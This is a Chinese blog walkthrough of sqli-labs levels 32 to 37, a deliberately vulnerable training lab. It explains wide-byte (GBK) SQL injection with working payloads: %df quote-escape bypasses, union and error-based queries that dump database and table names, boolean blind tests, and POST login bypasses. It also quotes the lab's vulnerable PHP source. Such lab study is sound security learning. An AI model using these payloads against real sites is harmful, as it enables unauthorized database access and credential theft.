sqli-labs靶场详解(less32-less37)

news/2024/4/17 18:01:45

宽字节注入 原理在下方

目录

less-32

less-33

less-34

less-35

less-36

less-37


less-32

正常页面

?id=1' 下面有提示 获取到了Hint: The Query String you input is escaped as : 1\'

?id=1''

看来是把参数中的非法字符就加上了转义 从而在数据库中只能把单引号当成普通的字符

?id=1 and 1=1  成功

?id=1 and 1=2  成功

看来是字符型参数 

但是加上单引号被转义

我想到了国标码里面%df\ 是一个汉字 也就是宽字节注入

当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误。

?id=1%df' and 1=1 ;%00 成功

?id=1%df' and 1=2 ;%00 无返回结果

确定注入点了

代码

分析

<?php
include("../sql-connections/sql-connect.php");
function check_addslashes($string)
{$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash$string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash$string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslashreturn $string;
}
// take the variables 
if(isset($_GET['id'])) //判断id是否存在参数
{
$id=check_addslashes($_GET['id']); 对参数进行检查如果有非法符号 加反斜杠转义
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);//日志
mysql_query("SET NAMES gbk");//mysql编码方式为gbk gbk编码方式就是造成宽字节注入的
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//如果是参数为1%df' 经过处理就变成了1\' 反斜杠在数据库中会被进行GBK编码 从而和%df结合成为一个汉字 单引号从而逃逸出来
?>

宽字节注入原理

mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将‘转换为\’(转换的函数或者思路会在每一关遇到的时候介绍)。

PHP 自带一些转义特殊字符的函数,如addslashes()mysql_real_escape_string()mysql_escape_string()等,这些函数可用来防止 SQL 注入。

id=1'or'1'='1,单引号本用来闭合语句,这些函数会自动转义这些闭合的单引号,在这些单引号前面加上转义符\,变为1\'or\'1\'=\'1,如此在 SQL 查询中是一个普通的字符串,不能进行注入。

而网站在过滤'的时候,通常的思路就是将'转换为\',因此我们在此想办法将'前面添加的\去掉,一般有两种思路:


less-33

正常页面

判断注入点

?id=1 and 1=1 成功

?id=1 and 1=2 成功

看来还是字符型的

?id=1' 依旧提示

?id=1%df' and 1=1;%00 报错 并提示

看来%00空字节注入不可以了 应该是转义%了

?id=1%df' and 1=1--+ 成功

?id=1%df' and 1=2--+ 无返回结果

确定注入点了

我再想他应该不是转义% 如果转义%那么%df也出问题了

发现和上一关没什么区别呀 看看源码吧

分析出来了 其他都一样 就是处理非法字符的方式不一样

该关使用

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}


less-34

开始post型注入了

使用bp

uname=admin'  登录失败

一个道理单引号被转义了

不能使用火狐插件 

在url中如果输入%df url自动识别不会再次进行编码了

但是在post表单中 看到了%df 会把%继续进行url编码 从而导致不好使

又学到了一个小知识 万能密码中要使用or 1 一真则真的方式 这样虽然没有用户也会查询出所有的 于是就可以逐行显示出来了

uname=admin%df%5c%5c' or 1=1 limit 2,1#&passwd=1 

确定了注入点

在这里提醒 就是万能密码 虽然我有admin 或者非用户 但是使用or的时候 为永真 则查询出来的是所有的用户 就相当于where 后为真

uname=admin%df' order by 2#&passwd=123 

uname=admin%df' order by 3#&passwd=123 报错了

这个联合查询 因为%df和%5c组成为了汉字 所以带到数据库查询的是admin+汉字 所以查不到

uname=admin%df' union select 1,2#&passwd=123  1,2都为显示位

uname=admin%df' union select database(),2#&passwd=123 获取到了数据库

到这我想尝试and 但是突然又想到了 又学到了一个知识 就是admin%df%5c不存在用户 如果使用and 语句本身就是不执行的 因为and有一个假就是假的 哪怕1=1(这就是我研究半天 脑袋发蒙的地方)

但是可以使用or

报错函数and和or都可以  但是使用那两种方式的报错因为concat('~')就算加上%df也会提示 参数出错 (uname=admin%df' and extractvalue(1,concat(0x7e,database()))#&passwd=123 成功了 转换为十六进制就好了)

但是可以使用联合报错

uname=admin%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))as a from information_schema.tables group by a)x)#&passwd=123

在时间盲注的时候 and 会立马结束 我理解 但是or的时候一直执行sleep停不下来搞不懂

布尔盲注

一开始以为布尔不可以因为admin%df%5c为假 不能使用and了 但是可以继续构造语句 前面永真后面为假

uname=admin%df' or 1 and 1=1#&passwd=123   成功

uname=admin%df' or 1 and 1=2#&passwd=123   失败

前面的or构成了万能密码语句 永真 and 构造成布尔语句


less-35

正常页面

注入测试

?id=1 and 1=1 成功

?id=1 and 1=2 失败

整型 感觉没这么简单

?id=1 order by 4 报错

?id=0 union select 1,2,3 显示位 2,3号位置

?id=0 union select 1,database(),3 得出数据库

这跟第二关没区别呀 看源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");function check_addslashes($string)
{$string = addslashes($string);//去除非法字符函数return $string;
}
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);//处理
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//整型参数 用不上非法字符
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}
?>

我丢真6 确实有去除非法字符 但是参数是整型 用不上非法字符 和第二关一样 哈哈 有意思

有这么一点需要注意一下

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

切记:security 转为16进制为0x7365637572697479 是不包括引号的,转为16进制也不需要引号

哈哈转换十六进制也是新学的知识点 那么less-34 的concat~也没问题了 把~转换成十六进制
 


less-36

正常页面

注入测试

?id=1 and 1=2  成功 看来是字符型的

?id=1%df' and 1=1 --+ 成功

?id=1%df' and 1=2 --+ 失败

在过程中发现

?id=1%df' and 1=1 ;%00  过滤了%

报错to use near '\0'  单引号引发的问题

提示Hint: The Query String you input is escaped as : 1�\' and 1=2 ;\0

?id=1%df' and 1=1 # 过滤了#

报错 to use near '' 单引号引发的问题

提示 Hint: The Query String you input is escaped as : 1�\' and 1=2

其余与上一关同理


less-37

正常登录无账号密码 登录失败

开始注入测试

uname=qwe'&passwd=qwe&submit=Submit 被转义

uname=qwe%df' or 1#&passwd=qwe&submit=Submit

成功找到注入点 这就算使用万能密码的方式

在这里注意一下 如果不知道账号的前提下 不要使用and进行判断 因为

假 and 真

假 and 假 

都是一个效果

uname=qwe%df' union select 1,2#&passwd=qwe&submit=Submit

啊?和前两题没什么区别呀 就是变成了post的方式

看一下源码

没什么问题 就是和前面一样 知识变成了 post的形式

提醒

post最好使用bp直接弄 不要使用 hacker 容易翻车

详情看前几关


https://www.xjx100.cn/news/3118837.html

相关文章

【论文阅读】基于隐蔽带宽的汽车控制网络鲁棒认证(三)

文章目录 第六章 通过认证帧定时实现VulCAN的非once同步6.1 问题陈述6.2 方法概述6.3 动机和缺点6.3.1 认证帧定时隐蔽通信6.3.2 VulCAN的梵蒂冈后端Nonce同步的应用 6.4 设计与实现6.4.1发送方6.4.2 接收方6.4.3 设计参数配置6.4.4 实现 6.5 安全注意事项6.5.1 系统模型6.5.2攻…

6 Redis缓存设计与性能优化

缓存穿透 缓存穿透是指查询一个根本不存在的数据&#xff0c; 缓存层和存储层都不会命中&#xff0c; 通常出于容错的考虑&#xff0c; 如果从存储层查不到数据则不写入缓存层。缓存穿透将导致不存在的数据每次请求都要到存储层去查询&#xff0c; 失去了缓存保护后端存储的意义…

【面试】typescript

目录 为什么用TypeScript&#xff1f; TS和JS的区别 控制类成员可见性的访问关键字&#xff1f; public protected&#xff09;&#xff0c;该类及其子类都可以访问它们。 但是该类的实例无法访问。 私有&#xff08;private&#xff09;&#xff0c;只有类的成员可以访问…

鸿蒙4.0开发笔记之ArkTS装饰器语法基础@Builder组件内自定义构建函数与@Styles自定义组件重用样式(十)

文章目录 一、Builder自定义构建函数1、什么是自定义构建函数2、组件内定义构建函数3、组件外定义构建函数4、Builder装饰器练习 二、Styles重用样式函数1、重用样式的作用2、组件内定义Styles3、组件外定义4、Styles装饰器练习5、注意要点 一、Builder自定义构建函数 1、什么…

【学习笔记】GAN前沿主题

最小-最大(Min-Max)GAN 非饱和(Non-Saturating)GAN 沃瑟斯坦(Wasserstein)GAN,即WGAN 所有的生成模型最终来源于最大似然(maximum likelihood),至少隐式地是这样的。 GAN有两个相互竞争的损失函数,这样的系统没有单一的解析解。 最大似然近似容易过度泛化。 用于统计…

Android帝国之进程杀手--lmkd

本文概要 这是Android系统启动的第三篇文章&#xff0c;本文以自述的方式来讲解lmkd进程&#xff0c;通过本文您将了解到lmkd进程在安卓系统中存在的意义&#xff0c;以及它是如何杀进程的。&#xff08;文中的代码是基于android13&#xff09; 我是谁 init&#xff1a;“大…

【Node.js】笔记整理 2 - 常用模块

写在最前&#xff1a;跟着视频学习只是为了在新手期快速入门。想要学习全面、进阶的知识&#xff0c;需要格外注重实战和官方技术文档&#xff0c;文档建议作为手册使用 系列文章 【Node.js】笔记整理 1 - 基础知识【Node.js】笔记整理 2 - 常用模块【Node.js】笔记整理 3 - n…

[Ubuntu 18.04] RK3399搭建NFS服务实现共享目录

NFS(Network File System)是一种分布式文件系统协议,允许远程计算机通过网络访问存储在另一台计算机上的文件。它使得多台计算机可以共享文件,并且可以在不同计算机之间实现文件的透明访问和共享。 以下是 NFS 服务器的一些特点和介绍: 文件共享:NFS 服务器允许将存储在…